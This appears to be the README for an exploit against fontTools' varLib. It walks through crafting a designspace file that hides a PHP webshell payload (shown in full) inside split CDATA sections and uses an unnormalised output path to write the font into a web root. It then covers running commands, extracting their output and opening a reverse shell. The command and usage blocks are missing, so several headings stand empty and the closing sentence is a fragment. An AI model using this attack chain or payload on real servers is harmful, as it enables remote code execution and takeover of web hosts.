Attack Chain

Step 1 — Craft the malicious designspace

The designspace file contains two injections.

The first is in the <labelname> element:

CDATA sections in XML allow arbitrary character data without entity escaping, but they cannot themselves contain the sequence ]]> because that terminates the section. The PHP closing tag ?> would cause a parse error if written naively. The sequence ]]]]><![CDATA[> closes one CDATA section immediately after ]] and opens a new one starting with >, so the final rendered content is <?php system($_REQUEST["cmd"]);?> — syntactically valid PHP — without ever triggering an XML parser error.

The second injection is in the output path:

fontTools constructs the output file handle from this string with no path normalisation. The file is created at that exact location.

Step 2 — Supply a valid TTF master

varLib requires at least one source font to compile. The master does not need to be a real font — a minimal TTF with a single empty glyph is sufficient to pass validation. The embedded base64 TTF in this exploit was generated with fontTools FontBuilder and contains only a .notdef glyph with a square contour and the minimum required tables (head, hhea, OS/2, cmap, glyf, hmtx, name, post).

Step 3 — POST to the processor endpoint

The exploit submits the designspace and TTF as a multipart/form-data POST to the web application's font generation endpoint. The server passes the files to varLib.build(). varLib parses the designspace, reads the master, compiles the variable font, and writes it to the path specified in filename= — which is the web root.

Step 4 — Execute commands via the webshell

The written file is a binary font file with the PHP payload embedded inside it. PHP's parser scans files for opening tags rather than requiring the file to consist entirely of PHP. When the web server processes the file as PHP it finds <?php system($_REQUEST["cmd"]);?> and executes it. Everything before and after the tag is emitted as-is and ignored.

Step 5 — Extract output from the response

The response body is the raw font binary. Command output lands between two predictable landmarks that fontTools writes into the name table:

• TestWeight400 — derived from the family and weight class fields in the embedded master TTF
• ]]>ThinMEOW2 — from the French <labelname> element in the designspace

The exploit slices the response between these two strings and strips residual XML tags with BeautifulSoup to produce clean command output.

Requirements

Usage

All three target parameters are required. No defaults are hardcoded.

Optional:

Execute a single command

Interactive pseudo-shell

Reverse shell

Start a listener first:

Then trigger:

The reverse shell payload is base64-encoded before transmission to avoid shell metacharacter escaping issues inside the cmd query parameter. exists in the varLib module's build() function and the designspace parser.